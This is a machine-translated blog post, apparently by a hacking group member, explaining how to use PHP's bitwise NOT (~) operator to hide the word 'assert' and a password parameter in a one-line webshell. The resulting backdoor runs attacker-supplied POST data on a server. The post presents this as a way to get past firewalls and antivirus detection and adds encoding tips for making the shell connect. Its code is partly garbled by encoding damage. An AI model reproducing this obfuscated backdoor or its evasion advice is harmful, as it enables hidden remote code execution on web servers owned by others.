Use a bitwise reverse (~) function in PHP to create a back door

Source: Internet
Author: User
Tags bitwise ini

1 PHP ~ bitwise operator

PHP: bitwise operator-http://www.php.net/manual/zh/language.operators.bitwise.php

Some time ago, a foreigner on Twitter burst a funny thing, a string of suspected garbled strings can be accessed after the normal output of 1337, so there are the following research results.

~ $a not (bitwise inverse) Sets the bit of 0 in the $a to 1, and vice versa.

PHP's INI setting error_reporting uses a bitwise value, providing a real example of closing a bit. To display all errors except the hint level.

PHP.ini is used in this way: E_all & ~e_notice

The specific mode of operation is to obtain the value of E_all first: 00000000000000000111011111111111

Re-obtained E_notice value: 00000000000000000000000000001000

And then take it back: 11111111111111111111111111110111

Finally, bitwise AND and (&) are given a bit of (1) in two values: 00000000000000000111011111110111

2) Analysis and recurrence

This is the original code implementation effect at the time:

When you see this effect, the first thought is to bypass the firewall, such as the implementation of the back door, and then began to consider what kind of coding method?

Later, with the Li Pu Jun test found directly using echo ~ ' 1 ', and so will directly output the ' garbled ', side to read the PHP official ~ function explanation before it dawned.

Then we can start writing a sentence to try the effect:

? 1

2

3

4

$x =~ÿ¬¬º«;

$x ($_post[~¹¹ïïïï]);

?>

Here defines the $x variable for assert, and then the password for the FF0000 directly linked back door can be, because when the bit back out of the ' garbled ' after we take again back to normal value.

3 about coding and kill-free

When I reproduce this back door, I found that direct copy over the direct HTTP state 500, the source is the coding problem, above this ' garbled ' in fact, Western Europe (ISO-8859-15).

In the actual process we encountered multiple back doors unable to link the 500 error balance because of the encoding problem, if the default encoding is not recognized the encoding is saved as this can be (GBKUTF8 ...) cannot be used successfully)

AUTHOR:EVI1M0 [email:evi1m0#ff0000.cc]

From: Evil Red information Security organization [FF0000 team]

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.